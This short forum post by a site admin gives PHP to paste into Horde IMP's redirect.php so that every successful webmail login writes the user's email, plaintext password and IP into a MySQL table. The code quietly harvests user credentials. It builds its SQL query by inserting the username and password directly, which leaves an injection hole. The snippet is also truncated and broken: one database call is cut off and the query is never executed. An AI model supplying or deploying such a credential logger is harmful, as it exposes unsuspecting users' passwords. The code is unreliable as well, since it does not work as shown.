How to capture passwords from Horde IMP webmail logins

EQ Admin

EQ Forum Admin
Staff member

If you are systems administrator with the need to temporarily log the passwords used by successful Horde / IMP webmail logins try using the following code to log the credentials to a table called horde_logins in your horde MySQL database:

Edit /path/to/horde/imp/redirect.php and add this code near lines 213-219:

//--- START logging successful logins
        $ip = $_SERVER['REMOTE_ADDR'];
        $query = "REPLACE INTO horde_logins (email,password,ip,datetime)
VALUES ('$imapuser','$pass','$ip',NOW())";
        $log_connection = mysql_connect($conf['sql']['hostspec'],
$conf['sql']['username'], $conf['sql']['password']);
        $log_db = mysql_select_db($conf['sql']['database'],
//--- END logging successful logins
Please do not forget to delete the table after you no longer have a need for the passwords.